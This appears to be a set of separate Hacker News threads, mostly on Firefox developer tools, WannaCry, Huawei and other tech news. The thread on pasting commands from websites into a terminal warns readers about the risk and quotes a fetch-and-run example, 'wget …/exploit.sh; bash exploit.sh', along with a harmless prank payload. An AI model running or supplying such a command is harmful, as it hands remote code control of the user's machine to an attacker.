Firefox Developer Tools – Editable box model, Sublime Text keys - <AUTHOR> https://hacks.mozilla.org/2014/05/editable-box-model-multiple-selection-sublime-text-keys-much-more-firefox-developer-tools-episode-31/ <comment><USER2> Wow, I'm really impressed with the strides Mozilla has been making on this front. Chrome has long had the best dev tools and is one of the reasons I hardly ever use Firefox anymore. Once these updates land it may be on par or even better. Excited to see true competition on the dev side of things now.

<comment><USER3> Same here. I still feel Firefox devtools are not innovating fast enough. Chrome workspaces and a lot of other useful features are just not present in Firefox. I feel that's one of the major reason I could never migrated to Firefox professionally. I am also quite impressed with IE 10 & 11 devtools. It is really useful and has clean UI and UX.

In short I could say that: Chrome Devtools > Firebug > IE devtools > Firefox devtools

<comment><USER4> I'll use chrome devtools the day they add multiline console support. Really? In 2014, and you want me to shift-enter 200 lines of code?

<comment><USER5> Why are you putting 200 lines of code into the console?

<comment><USER4> I have to say, I stared at this question for a while. I have such a large reliance on using the console as a scratchpad, before ever even opening a script file, that I don't think I've even considered the possibility that one could do front end development work without it.

The best answer for you question, would be that throughout my career, the number of situations where I could directly edit a source javascript file, write-run-test-iterate in a typical software development cycle is in the far far minority of the amount of time I've spent writing javascript.

The vast majority of my time, iterating changes to javascript files is non trivial. Some examples include

Major CMS / CRM systems I've worked on where, even if I have all relevant source code, even finding the location where the page's javascript is generated or stored is non-trivial.

Major CMS / CRM solutions where making a change to a single javascript file can result in a 20 minute process before you can see those changes reflected in the browser.

Situations where I simply do not have access to the source code, but am none the less manipulating javascript on the page (for example, custom WPF applications that inject js into every page visited in the wpf web browser)

Or my current situation, where my company hosts some ~30 different web applications, and fully understanding the processes involved to get to the final page state where I will be doing my work is non-trivial.

\---

But perhaps the best reason, is when debugging. With javascript, I can simply navigate to the problematic page and say module.function = myNewFunction();

If I start by copy pasting the source for the problematic code into myNewFunction in the console, then I can iterate my changes with 0 regard to how the javascript is served to the page. All my changes are instantaneous, and don't even require a refresh to see take effect. As such, my development time is usually much faster than constantly editing a source file, particularly if that backend framework doesn't update its js when noticing file changes, and is massively faster in any of the situations listed above.

But the real key is that once you get used to working in this fashion, it starts to make sense to use the console as your scratchpad to flesh out ideas before ever actually writing real production code whatsoever, in any situation. It just becomes so nice to be able to flesh out your js ideas on the fly, with 0 regard to framework, and against your target environment.

But this workflow is entirely impossible in chrome, because every time you want to run your script, you have to hit ente, and every time you need a new line you're shifting, and then you're up arrowing over versions, etc, etc. With firebug, I can just continually edit the text in the console until I'm happy with the results, and then I can keep that on the screen and use it as a reference while I write my (hopefully much nicer) real production code in a source file somewhere.

<comment><USER6> In Chrome, you could Snippets[1] or Live Editing[2] to monkey-patch Javascript sources inline. No need to copy & modify the content - just edit it within the browser and re-run. Complete with syntax highlighting, auto-completion, and the same no-reload goodness you are used to.

[1] [https://developers.google.com/chrome-developer- tools/docs/au...](https://developers.google.com/chrome-developer- tools/docs/authoring-development-workflow#snippets)

[2] [https://developers.google.com/chrome-developer- tools/docs/au...](https://developers.google.com/chrome-developer- tools/docs/authoring-development-workflow#live-editing)

<comment><USER4> I never would have found snippits without it being pointed out to me. Thank you, that seems to be basically what I was looking for. Thought why it is there, and not just a multi-line console confounds me. Then again, so do most of Google's UI decisions for the last ~2 years or so.

</comment></comment></comment></comment></comment></comment></comment><comment><USER7> I was surprised when I first saw Copy as cURL in Chrome... and very happy to see it here. It makes for a great base test case... now if the api client tools would only take one of these curl commands and set the settings for a request.

I think it's almost funny, but a cURL command line could become the common interface for many tools.

<comment><USER8> There's a really nice add-on for Firefox called "cliget" that adds a "copy as curl" (or wget) menu item when you right click any link in the browser. I find it heavenly when I need to download something that needs authentication to a remote server.

</comment></comment><comment><USER9> What I've learned from this thread:

Every example of dev tools have their pluses and minuses, but all of them are great in their own way.

Everybody has their favorite for whatever specific reasons they have which is usually based off their individual workflow.

One developer's useless dev tools is another's life saver.

Too many people latch onto one way of doing things and don't experiment that much to see what's going on in another tool set.

Give Firefox/Chrome/Firebug dev tools a try. If it works out great! If it doesn't, well that's great too because you still have what you were happy with before.

I just try to forget the dark days before Firebug.

</comment><comment><USER10> Just installed it from Aurora channel. I have not used firefox for couple years now (moved to Chrome) but I think I will jump back now. The only thing in dev tools missing so far for me compared to Chrome is :before and :after pseudo elements, I love how Chrome dev tools shows it as a separate entity in the inspector tree. I hope FF team implements it as well.

<comment><USER11> Firebug gives you the option to toggle all pseudo states for an element and edit its CSS. IMO Firebug and Chrome's dev tools still lag behind Firebug's.

<comment><USER12> This might be Nightly only. But in the Inspector pane of the Firefox dev tools you can right-click elements to set their focus/active/hover states. Doing so will also update the pane to the right showing any state specific rules that now applies.

</comment></comment></comment><comment><USER13> The add-on debugger is the big part of this update. Add-on dev is a pain in the ass on Firefox, and I hope this helps.

<comment><USER14> I agree. I don't have much experience, but writing an addon for Firefox was a pain. When debugging, it's a constant "cfx run", read cryptic output, close browser, try to fix, rinse and repeat.

Compare it with Chrome where you can see the error, it show where the problem is and you can even edit/patch the addon live without having to restart the browser.

</comment></comment><comment><USER15> I tried Firefox debugger yesterday when one of the ads on one of the sites I managed somehow created a rogue redirect. The ad cached the redirect response in the browser, so on subsequent requests the browser continued to redirect without making a trip to the server. We happened to catch the error on FireFox on one of the machines and attempted to debug it there.

The first problem was that the requests never showed up in the network tab. I typed in the URL with the network tab set to persistent and hoped that I would see the redirect response header in the network tab. But it never showed up. It loaded directly from cache I presume but it should still have showed up in the network tab or somewhere to allow debugging.

I looked into the cache next and saw that the cached copy of the page contained a single script loading code (I presume this was what got cached for the page). Copying the HMTL from the cache page was fairly annoying. You can't copy the entire text because it's setup as HEX+HTML side-by-side. The HTML version replaces spaces with dots which means you pretty much can't copy it.

Lastly, it would also be nice to prevent the developer tools from closing when a window self closes.

Also, it would be nice to be able to manage cookies in the developer tools.

Another thing I find annoying is that FF/Chrome both don't have a cookie debugger. There are plenty of add-ons but I am not sure why it's not part of the core developer tools. Would be nice to have.

<comment><USER12> What sort of cookie debugging? Seeing the cookies being sent for each request in the Network panel isn't enough?

<comment><USER15> I'd like to be able to add/edit and temporarily disable select cookies for a domain or sub domain.

</comment></comment></comment><comment><USER16> The editable box model & color picker are very useful. I wonder if the editor would one day catch up so that you do your development in the browser itself.

<comment><USER17> I made my first contribution to Firefox the other day... I downloaded the source on a whim, realised I could build and run it - so went to the bug tracker.

There was a bug with the box model editor that if the labels were long (such as "auto") then they would overlap the borders. I made it so long labels will rotate 90 degrees (try it out, change the outside margin to "auto").

I'm pretty stoked that some code I wrote is in Firefox - seeing an advertised feature that I (in a small way) contributed to is pretty exciting!

<comment><USER18> Same. Credit to the team for great support and follow-ups.

Some starting points for those who wants to contribute:

* Quick start for devtools developers: [https://wiki.mozilla.org/DevTools/Hacking](https://wiki.mozilla.org/DevTools/Hacking) * More general info: [http://codefirefox.com/](http://codefirefox.com/)

* bugs/tasks flagged as "mentored" is a good way to introduce your self to the code. Devtools mentored tasks:

[https://bugzilla.mozilla.org/buglist.cgi?j_top=OR&f1=compone...](https://bugzilla.mozilla.org/buglist.cgi?j_top=OR&f1=component&o1=allwords&resolution=---&emailtype1=exact&status_whiteboard_type=allwordssubstr&emailassigned_to1=1&query_format=advanced&status_whiteboard=mentor%3D&bug_status=UNCONFIRMED&bug_status=NEW&bug_status=REOPENED&bug_status=VERIFIED&email1=nobody%40mozilla.org&v1=Developer%20Tools&product=Firefox&list_id=10112029)

/Contributor

<comment><USER19> I have a huge smile on my face :)

See also the Get Involved page for devtools: [https://wiki.mozilla.org/DevTools/GetInvolved](https://wiki.mozilla.org/DevTools/GetInvolved)

</comment></comment></comment></comment><comment><USER20> Looks cool. Still waiting for the localStorage inspector. I don't know how one can live without it..

<comment><USER21> I missed it coming from Chrome, but you can see what's stored in localStorage for a particular site by bringing up the console and typing localStorage just like how a web app can access it.

Don't know a way to see localStorage for everything like in Chrome, but I don't miss it anymore.

</comment></comment><comment><USER22> Most of the new tools are tiny feature additions eg: the box model editing, copy as curl but will save ton of dev time wasted in doing it the old way.

FF for the win :D

</comment><comment><USER23> Really nice update, I love the little functionality tweaks like the color picker. This is the kind of thing that will get developers to choose one platform over the other for day to day dev work.

</comment><comment><USER24> The main thing that drove me back to Chrome for web dev was the performance. Firefox would hang for ~30 seconds trying to load source maps for our 150+ modules. Since it's single-threaded, this locks up the entire UI every time our app loads with dev tools open. And if it pauses on an exception during this 30 seconds, good luck trying to do anything for the next five minutes.

<comment><USER19> We had some source map performance issues a while back, but I fixed all the ones that were reported. If you have a test case and steps to reproduce, I'd love to take a look :)

<comment><USER24> Don't have a minimal test case yet, I'm seeing it happen on a page with >150 files bundled into a single file with a base64 data URI source map. If the debugger is open on page load, it hangs for 30 seconds to a minute, but loads practically instantly if I open the debugger after page load.

Is there an existing bug I can chime in on or should I report a new one?

<comment><USER19> New one, please: [https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&c...](https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&component=Developer%20Tools%3A%20Debugger)

I understand if your app is proprietary and you can't share the source, but even non-minimal test cases are much better than no test case :)

Thanks!

<comment><USER24> [https://bugzilla.mozilla.org/show_bug.cgi?id=1007565](https://bugzilla.mozilla.org/show_bug.cgi?id=1007565)

Outside of my 10kloc app, I could only reproduce it with ~100 copies of jQuery, which is kind of a pathological case I guess.

<comment><USER19> Thanks for taking the time to file the bug, this helps a lot!

</comment></comment></comment></comment></comment></comment><comment><USER25> That's a helluva lot of improvements they shipped in v31, I am impressed.

</comment><comment><USER26> Is it only on Mac it shows the actual status codes on the network tab? On Windows i have to hover the little icon in the first column, which is really annoying when I'm trying to figure out if my caching is working correctly.

<comment><USER19> Sounds like your windows copy of firefox might be the main release channel. The numeric status codes have been in since 30 (currently Beta). You can hop on Aurora (or Beta, or Nightly, but Aurora is generally best for web devs), or just wait about 6 weeks for the next uplift.

[https://bugzilla.mozilla.org/show_bug.cgi?id=972054](https://bugzilla.mozilla.org/show_bug.cgi?id=972054)

<comment><USER27> Is there an Ubuntu repo for Aurora that I'm missing or do I need to use the tarball.

<comment><USER28> First Google result [https://launchpad.net/~ubuntu-mozilla- daily/+archive/firefox...](https://launchpad.net/~ubuntu-mozilla- daily/+archive/firefox-aurora)

</comment></comment></comment></comment><comment><USER29> An awesome list of enhancements. Something not mentioned there is that the window.onerror function has a new "error obj" parameter with the stacktrace, which i found quite handy.

</comment><comment><USER30> That "copy as cURL" thing is absolutely brilliant.

<comment><USER31> Yeah Chrome Dev Tools have supported that since a while now, found it very useful.

</comment></comment><comment><USER32> Is there a way to get the same type of JavaScript decompressor as present in Google Chrome? I know there is a plugin for this but it doesn't do the most important: when you decompress the JavaScript, the console file:line details match the decompressed code. So you can click to jump to legible JavaScript when debugging.

</comment><comment><USER33> > Console stack traces

> console.error, console.exception, and console.assert logs in the console now > include the full stack from where the call was made

But what about if I use `new Error("something");` ? That's how I let errors bubble up in my app. Am I doing it wrong? According to this, that won't show a stack trace.

<comment><USER34> Well that already shows a stack trace. it's not mentioned here because it's not a new feature.

</comment></comment><comment><USER35> The only thing left in my wish list is the abililty to edit JS code on a website live and compile it. Chrome has that but Firefox still doesn't have it yet.

[https://bugzilla.mozilla.org/show_bug.cgi?id=771339](https://bugzilla.mozilla.org/show_bug.cgi?id=771339)

</comment><comment><USER36> Would be nice if there was a sane way to take a screenshot. [https://bbs.archlinux.org/viewtopic.php?pid=1412466](https://bbs.archlinux.org/viewtopic.php?pid=1412466)

<comment><USER25> ScreenGrab (fixed) add-on: [https://addons.mozilla.org/hu/firefox/addon/screengrab- fix-v...](https://addons.mozilla.org/hu/firefox/addon/screengrab-fix-version/)

Developer toolbar 'screenshot' command: [http://www.ghacks.net/2012/11/02/take-screenshots- straight-f...](http://www.ghacks.net/2012/11/02/take-screenshots-straight- from-firefoxs-developer-toolbar/) | [https://developer.mozilla.org/en- US/docs/Tools/GCLI#Commands](https://developer.mozilla.org/en- US/docs/Tools/GCLI#Commands)

</comment></comment><comment><USER37> Great stuff! Copy as cURL is very cool.

</comment><comment><USER38> The new firefox dev tools are sexy af

</comment><comment><USER39> Oh look, a bunch of updates to catch up to Chrome's tools _again_.

<comment><USER40> Firefox is Free software, Chrome is proprietary and made by the company that employs this guy: [http://mostlysignssomeportents.tumblr.com/post/84829703425/r...](http://mostlysignssomeportents.tumblr.com/post/84829703425/reminder- eric-schmidt-is-an-apologist-for-war)

I know what I'd choose.

<comment><USER24> Chromium is open source.

<comment><USER41> I'm tired of hearing that argument. Chromium !== Chrome.

Call me back when Chromium, not Chrome, wins a 20% share of the browser market.

<comment><USER42> Chrome is simply a packaging of Chromium with nonfree third-party plugins: [https://code.google.com/p/chromium/wiki/ChromiumBrowserVsGoo...](https://code.google.com/p/chromium/wiki/ChromiumBrowserVsGoogleChrome)

There is no such thing as Chromium browser, just packages of Chromium source built by different distributors like Ubuntu, Red Hat, etc. You might ask to be called back when a particular packaging other than Chrome gets significant share, but if you ask when Chromium (including all packagings) gets significant share, that's already happened.

<comment><USER41> The whole point of the "Chrome is proprietary" argument is that we don't know exactly what Google added to Chromium.

Since the diff between Chrome and Chromium is not open-source, there's no way to verify that Google only added what they claim to have added. For example, we wouldn't know if they slipped in an NSA backdoor along with a bunch of plugins.

"Trust but Verify": [https://blog.mozilla.org/privacy/2014/01/14/trust-but- verify...](https://blog.mozilla.org/privacy/2014/01/14/trust-but-verify- repost-of-article-on-security-value-of-open-source-software/)</comment></comment></comment></comment></comment></comment>


Coronavirus: 'Nature is sending us a message', says UN environment chief - happy-go-lucky https://www.theguardian.com/world/2020/mar/25/coronavirus-nature-is-sending-us-a-message-says-un-environment-chief <comment><AUTHOR> The biological impacts of urban density are getting a hard second look these days:

"Our continued erosion of wild spaces has brought us uncomfortably close to animals and plants that harbour diseases that can jump to humans."</comment>


Best Online Courses of 2015 - <AUTHOR> https://www.class-central.com/report/best-free-online-courses-2015/ <comment><USER2> I took "Learning How to Learn" [1] early this year, and can recommend it. Very well presented on how to learn effectively. Most of the strategies were not new to me, put it was still good with a refresher. And it was a quick and easy course to take. I watched all the lectures on my phone while commuting to and from work.

[1] [https://www.coursera.org/learn/learning-how-to- learn](https://www.coursera.org/learn/learning-how-to-learn)</comment>


Unroll.me settles with FTC after claiming it didn't collect and sell email data - <AUTHOR> https://www.theverge.com/2019/12/17/21027159/unroll-me-email-privacy-ftc-settlement <comment><USER2> While it always felt creepy knowing that google read every mail I got or sent, and a pretty awful sort of weird whenever it "helpfully" automatically set reminders in my phone for planes without my consent, an example of just plain abuse really does simplify choosing a side.

I mean, snooping on my mail so they can sell my purchasing history to competitors that want to better target ads against me? No thanks!</comment>


Collection of photographs of WannaCry infections from around the world - <AUTHOR> http://b0n1.blogspot.com/2017/05/wannacry-ransomware-picture-collection_17.html <comment><USER2> >The biggest cyberattack in history infected more than 200,000

Is that all? The media is blowing this up, I would have though there would be more prolific worms that this. Nimda? Sasser? Blaster? Storm Worm?

<comment><USER3> Another couple of big ones I remember:

Sobig, 2003. In particular I recall that media was talking about Sobig.F - [https://en.wikipedia.org/wiki/Sobig](https://en.wikipedia.org/wiki/Sobig)

Mydoom, 2004. [https://en.wikipedia.org/wiki/Mydoom](https://en.wikipedia.org/wiki/Mydoom)

<comment><USER4> From my memory bank:

Melissa - [https://en.wikipedia.org/wiki/Melissa_(computer_virus)](https://en.wikipedia.org/wiki/Melissa_\(computer_virus\))

ILOVEYOU - [https://en.wikipedia.org/wiki/ILOVEYOU](https://en.wikipedia.org/wiki/ILOVEYOU)

Anna Kournikova - [https://en.wikipedia.org/wiki/Anna_Kournikova_(computer_viru...](https://en.wikipedia.org/wiki/Anna_Kournikova_\(computer_virus\))

Slammer - [https://en.wikipedia.org/wiki/SQL_Slammer](https://en.wikipedia.org/wiki/SQL_Slammer)

And of course, the fastest spreading virus of all time, Sammy (which only effected Myspace profiles but still meets the definition of a computer worm) [https://en.wikipedia.org/wiki/Samy_(computer_worm)](https://en.wikipedia.org/wiki/Samy_\(computer_worm\))

I don't think the media covers malware/viruses like the used to around the turn of the century.

</comment></comment></comment><comment><USER5> What ever happened to the 2nd wave that security experts were warning about, without the kill-switch code? Haven't heard any reports of this being found in the wild yet. Anyone else?

<comment><USER6> I imagine anyone paying attention grabbed the Microsoft patches and now there are fewer computers for it to spread to.

<comment><USER7> It would be "funny" if Microsoft would be blocked to release updates, because, you know, they'd have locked machines.

</comment></comment></comment><comment><USER8> > Figure 14 Bank of China ATMs

That's not an ATM, it's a machine to top up petrol card.

</comment><comment><USER9> > Russian Railways center

Wow. We're so lucky that terrorists are not very creative.

</comment><comment><USER10> Seeing ATMs with a warning like that is a total nope.

<comment><USER11> yep, 'total nope' is the ransomware's business model.

</comment></comment><comment><USER12> Attackers BTC transaction history..

$81,065 at current BTC/USD rate

[https://blockchain.info/address/115p7UMMngoj1pMvkpHijcRdfJNX...](https://blockchain.info/address/115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn)

[https://blockchain.info/address/13AM4VW2dhxYgXeQepoHkHSQuy6N...](https://blockchain.info/address/13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94)

[https://blockchain.info/address/12t9YDPgwueZ9NyMgw519p7AA8is...](https://blockchain.info/address/12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw)

<comment><USER13> >Maximum concurrent requests for this endpoint reached. Please try again shortly.

Anyone have another link? I'd be interested to see how many people actually paid.

<comment><USER14> Try [https://twitter.com/actual_ransom](https://twitter.com/actual_ransom)

<comment><USER13> Wow - $78k right now and growing quite steadily. Thanks for that link.

</comment></comment></comment></comment><comment><USER15> It was localized into Chinese? How many languages was it localized into?

<comment><USER16> 28, I saw on twitter

[https://twitter.com/MB3ngtsson/status/864357179842715648](https://twitter.com/MB3ngtsson/status/864357179842715648)

<comment><USER15> I a bit disturbingly impressed. Thank you.

<comment><USER17> Eh...a few minutes with Google Translate, and voila. Most recent ransomware tends to be "translated" (sometimes even localized!), as English message would elicit a tech support response, whereas a local one could have the normal user accepting the demands.

</comment></comment></comment></comment><comment><USER18> The pregnancy test tho.

Good stuff.

<comment><USER9> this one is actually a really bad photoshop, they could have skipped those

<comment><USER19> I think all the last ones are meant as a joke.

</comment></comment></comment><comment><USER20> Looks to have infected Windows 7 machines based on some of the screenshots : [https://4.bp.blogspot.com/\--Tzl_0ABu-Y/WRs- KUrQWzI/AAAAAAAAB...](https://4.bp.blogspot.com/--Tzl_0ABu-Y/WRs- KUrQWzI/AAAAAAAABCY/h_Utbo1fLrQABX5LXcGB6D_wWpie2IYFwCEw/s1600/univerzita.jpg)

Thought it was only an XP thing?

<comment><USER17> Patches were released for everything from XP onwards, up to WinX (which is apparently not vulnerable to the SMB exploit).

</comment></comment><comment><USER21> Many of those photos show real time connections / schedules for trains of the Deutsche Bahn.

I'm wondering ... does this mean they have a dedicated OS installation (virtual or not) for each set of displays showing different schedules? That would be so rediculously inefficient ...

... but then again - it's the DB - basically a synonym in Germany for incompetence :D

<comment><USER22> Yes, they have. How would you do it otherwise? At some point you need to render all those different tables. Using off-the-shelf comments is probably the most efficient system imaginable.

If you think DB is utterly incompetent you should take some trains in most other countries. I know it's a popular sport to bitch and moan about them (I do it as well) but seriously, the system works surprisingly well. Those displays are also some secondary info screens that were added later and are not part of the core system and thus probably don't receive the same attention as other more important things.

<comment><USER21> > Yes, they have. How would you do it otherwise?

How about a thin client based on Linux receiving the raw data wireless and then simply displaying it formatted as a table?

And if that doesn't exist yet then have Siemens design a solution of that kind.

</comment></comment></comment><comment><USER23> I have to ask again, why are machines that are not even desktop computers running windows?

<comment><USER24> Computers need an OS to be useful and windows is an OS.

<comment><USER23> How much "usefulness" does a microwave require? Or a airport terminal that displays flights?

<comment><USER25> The microwave picture was a joke.

As for airport/train station displays, I think early displays were LED matrices running on custom hardware + OS. I suppose just hooking up an LCD flatscreen to an embedded windows computer displaying a webpage allowed for easier maintenance and richer content.

<comment><USER23> I missed that part, sort of just scanned through the images. I'm actually chuckling a little right now.

</comment></comment></comment></comment></comment><comment><USER26> I loved the last one the best :-)

<comment><USER27> Best thing about it, it's completely real. (Probably not the caption though).

<comment><USER28> Nope, it's real too unfortunately. [https://heatst.com/tech/russias-secret- weapon-against-ransom...](https://heatst.com/tech/russias-secret-weapon- against-ransomware-virus-holy-water/)</comment></comment></comment>


Alibaba and JD want to clean up the dirty business of pig farms in China–with AI - <AUTHOR> https://kr-asia.com/alibaba-and-jd-want-to-clean-up-the-dirty-business-of-pig-farms-in-china-with-ai <comment><AUTHOR> This is just mind-blowing! We all know China's AI catching up, but applying this technology to pig farms already?</comment>


2gossip – location based social network - <AUTHOR> http://www.2gossip.com/

<comment><USER2> co-founder of 2gossip here. Any feedback will be appreciated.

<comment><USER3> I see high potential! Kudos to you guys!

<comment><USER2> Thank you. We are trying to do our best.</comment></comment></comment>


Huawei in early talks with U.S. firms to license 5G platform - <AUTHOR> https://uk.reuters.com/article/us-usa-huawei-tech-licensing-exclusive/exclusive-huawei-in-early-talks-with-u-s-firms-to-license-5g-platform-huawei-executive-idUKKBN1WY010 <comment><USER2> "Early talks" probably isn't substantive enough to count as significant new information. Did I miss something?

[https://hn.algolia.com/?dateRange=all&page=0&prefix=false&qu...](https://hn.algolia.com/?dateRange=all&page=0&prefix=false&query="significant%20new%20information"&sort=byDate&type=comment)

</comment><comment><USER3> Here, I'll paste the quote that substantiates this entire story-- Vincent Pang (Huawei): "There are some companies talking to us, but it would take a long journey to really finalize everything... they have shown interest."

</comment><comment><USER4> The exec response can be coming from a variety of angles:

1) Reuters reached out and he simply provided a snippet of what is happening;

2) US firms are interested in the product;

3) US firms are interested in using this conversation to leverage negotiations with another party;

4) Whether they are getting little to no traction or some, Huawei may be trying to say "look, we are not nuclear, others are talking to us, you should too' to prop up interest and willingness via journalism.

</comment><comment><USER5> At this point we might as well go full patent war and each side can just openly declare the other's patents are void.

<comment><USER6> China already steals what they want.

<comment><USER7> Chinese companies pay a very large amount of licensing fees to American companies. Huawei itself has paid $6 billion in licensing fees since 2001, with 80% of the fees going to US companies.

1\. [https://www.zdnet.com/article/over-6b-in-ip-royalties- paid-b...](https://www.zdnet.com/article/over-6b-in-ip-royalties-paid-by- huawei-nearly-80-to-us-firms/)

</comment></comment></comment><comment><USER8> Meh. We should go straight to 6G at this point. It's not like 5G is a pressing need. Current 4G LTE is more than fast enough for just about everybody.

<comment><USER9> Well, people are already thinking about 6G, so we may have to hold off for 7G.</comment></comment>


Look before you paste from a website to terminal - <AUTHOR> http://lifepluslinux.blogspot.com/2017/01/look-before-you-paste-from-website-to.html <comment><USER2> This sort of _attack_ has been discussed in great detail previously:

[https://news.ycombinator.com/item?id=10554679](https://news.ycombinator.com/item?id=10554679)

[https://news.ycombinator.com/item?id=5508225](https://news.ycombinator.com/item?id=5508225)

[http://thejh.net/misc/website-terminal-copy- paste](http://thejh.net/misc/website-terminal-copy-paste)

</comment><comment><USER3> Not sure if this is iTerm2 or zsh, but I have to confirm the code I am pasting by pressing enter, which gives me an opportunity to review it first. I like this feature a lot.

<comment><USER4> Not always, sometimes when I copy something and paste it with Ctrl+V (insted of Ctrl+Shift+V) it still get pasted+entered.

<comment><USER5> This could be incorrect, but could it be because there's a newline character copied as well which gets translated into an Enter?

<comment><USER4> It surely could be, but that bypass M4v3R's opportunity to review the code.

This problem appears to me on iTerm2 build 2.1

</comment></comment></comment></comment><comment><USER6> Even more interesting: given the plethora of options terminals have for coloring, moving, erasing and similar, is it possible to hide malicious input from the shell too so that the victim is unaware of it?

<comment><USER7> Yep. There are a few demonstrations floating around.

</comment></comment><comment> martin-adams Here's a question, could such an exploit be achieved using something like Stack Overflow?

<comment><USER8> Probably not due to the limited markup options available.

It would almost certainly be possible form a great many similar forums and bulletin-board like sites though.

<comment><USER9> Could you get away with a more limited version by abusing Unicode?

With so many "unprintables" combined with things like the RTL and LTR control characters I think it would be possible on some level.

</comment></comment></comment><comment><USER10> What I usually do since I've been shown this kind of attack :

\- Ctrl-X Ctrl-E: open the default text editor on your system

\- paste your snipet here and review it

\- save the snipet in your editor, it is now run.

</comment><comment><USER11> In zsh I can paste (or paste) into the browser (FF) I get

ls ; clear; echo 'Haha! You gave me access to your computer with sudo!'; echo -ne 'h4cking ## (10%)\r'; sleep 0.3; echo -ne 'h4cking ### (20%)\r'; sleep 0.3; echo -ne 'h4cking ##### (33%)\r'; sleep 0.3; echo -ne 'h4cking ####### (40%)\r'; sleep 0.3; echo -ne 'h4cking ########## (50%)\r'; sleep 0.3; echo -ne 'h4cking ############# (66%)\r'; sleep 0.3; echo -ne 'h4cking ##################### (99%)\r'; sleep 0.3; echo -ne 'h4cking ####################### (100%)\r'; echo -ne '\n'; echo 'Hacking complete.'; echo 'Use GUI interface using visual basic to track my IP' ls -lat

Which seems like it would be pretty stupid for me to press enter. Which if we're talking security it seems to more sane thing to do is not automatically send commands that are pasted in. Zsh being secure and bash not. I feel this is more a developer issue than user.

<comment><USER12> > Which seems like it would be pretty stupid for me to press enter. Which if > we're talking security it seems to more sane thing to do is not > automatically send commands that are pasted in. Zsh being secure and bash > not. I feel this is more a developer issue than user.

A triple click selection will copy the whole line _including the newline_. So a paste will execute it as well.

</comment></comment><comment><USER13> this should be explited by stack overflow to have a counter on which lines were copied and how many times. With this counter one could know what's the best answer used by many :)

</comment><comment><USER14> Bracketed paste and a vaguely half-decent terminal emulator will prevent this.

</comment><comment><USER15> I already paste everything longer than a single line to my non-terminal text editor (e.g. sublime) before I paste it to my terminal or vim. Perhaps I should start doing this for everything.

</comment><comment><USER16> This is a valid danger but the author goes a bit far with the sudo warning. Unless you're logged in as root to most systems (in which case sudo likely won't be needed to screw your system up) using sudo would result in a password being requested which, I would hope, the user would see as a red flag, especially if they are technical enough to be locating and testing script snippets.

<comment><USER11> Except sudo has a 15 minute timeout. So there's a decent chance someone has used sudo in that time.

<comment><USER17> when did ubuntu start shipping with password sudo ?

</comment></comment></comment><comment><USER18> Probably worthless tip, try browsing that code snippet with a screen reader. Yes, it is not hidden from that software. :-)

<comment><USER19> I feel that we are not exactly the target audience for this kind of tip. Linux forums are full of code snippets that people blindly copy and paste so this is clearly an extended behavior

In any case, most newbies wouldn't even understand whether a command is malicious or not (e.g. `wget [http://hax0r.com/exploit.sh;](http://hax0r.com/exploit.sh;) bash exploit.sh`), but I wouldn't say the tip is worthless...

</comment></comment><comment><USER20> Has anyone been burned by this? I'm going to start pasting things into a different text editor before running them.

<comment><USER21> That's my go-to method. I use Notepad++ with "View -> Show Symbol -> Show All Characters" turned on.

</comment></comment><comment><AUTHOR> Found another one here: [http://thejh.net/misc/website-terminal-copy- paste](http://thejh.net/misc/website-terminal-copy-paste)

</comment><comment><USER22> Pfff should have just put forkbomb there.

</comment><comment><USER23> The "fix" to this problem is not to let your browser hook Ctrl+C. Mozilla, if you're listening, could you perhaps make this an option? Or perhaps display a notice if you notice JS hook on Ctrl+C?

<comment><USER24> The example in the article doesn't use javascript, and doesn't hook Ctrl-C, all it uses is simple css.

The problem here is not related to the browsers at all, the problem is on the terminal side, which should not immediately run and random text that was pasted, but should allow editing the pasted text before running.

<comment><USER25> I am not sure the browser is free of blame here, getting invisible characters copied together with the text I selected goes completely against my expectations.

<comment><USER26> this could be considered a handy feature in a different scenario, the browser shouldn't be responsible for checking if the text you copied was visible.

Just get a half decent terminal, many have precautions in place for copy/paste.</comment></comment></comment></comment>


Ask HN: Can't find a non-Apple slim keyboard with standard layout and no num pad - <AUTHOR> I'm looking for a slim keyboard (not mechanical preferably) that has a standard layout just without numpad. Whatever I find has these small arrow keys beside Ctrl and below Shift.
In other words, the slim (and probably non-mechanical) version of Logitech G Pro (https://www.logitechg.com/en-roeu/products/gaming-keyboards/pro-gaming-keyboard.html)
Can you recommend me one? <comment><USER2> Is this what you're looking for [https://matias.store/products/fk308b](https://matias.store/products/fk308b) ?

I don't vouch for it; it just happens to be the first hit for "Apple tenkeyless keyboard".

<comment><AUTHOR> Very close but this is just a copy of Apple layout. If their quality is good that should work.

But thanks for the "tenkeyless" keyword

</comment></comment><comment><USER3> Arteck HB030B Universal Slim Portable Wireless Bluetooth 3.0 7-Colors Backlit Keyboard with Built in Rechargeable Battery, Black

<comment><AUTHOR> Nop, it's not a standard layout, something like Apple Magic Keyboard (the big one) just without numpad. Or simply just a slim version of this layout: [https://www.logitechg.com/en-roeu/products/gaming- keyboards/...](https://www.logitechg.com/en-roeu/products/gaming- keyboards/pro-gaming-keyboard.html)

</comment></comment><comment><USER4> What about the Lenovo ThinkPad usb keyboard?

<comment><AUTHOR> Yeah, I really should give it a try. I'm just looking for something standard though.</comment></comment>


Before There Were Stars (2014) - <AUTHOR> http://nautil.us/issue/79/catalysts/before-there-were-stars-rprd <comment><USER2> This is a very good text written by Daniel W. Savin, the leader of "The Savin Group" from Columbia University (1) (2)

\</comment><comment></comment><comment>-

(Note: the bug in Firefox Reader View shows, when the [http://nautil.us/issue/79/catalysts/before-there-were- stars-...](http://nautil.us/issue/79/catalysts/before-there-were-stars-rprd) is viewed in that View as the author whoever is at the moment inserted in the "Also in Physics" ad inside of that Nautilus' text body, which is wrong -- on every refresh a new person: Gregory Laughlin, Sarah Scoles, Amanda Gefter, Michael Segal...)

1) [http://user.astro.columbia.edu/~savin/index.html](http://user.astro.columbia.edu/~savin/index.html)

2) [http://user.astro.columbia.edu/~savin/dsavin.html](http://user.astro.columbia.edu/~savin/dsavin.html)

Edit: reformulated to make clear that the bug is visible for the main Nautilus text and, not connected to the bug, added the link to Savin's page.

<comment><USER3> Which text is that? Link seems to lead to a landing page.

<comment><USER2> > Which text is that?

I've edited my post, please reread.

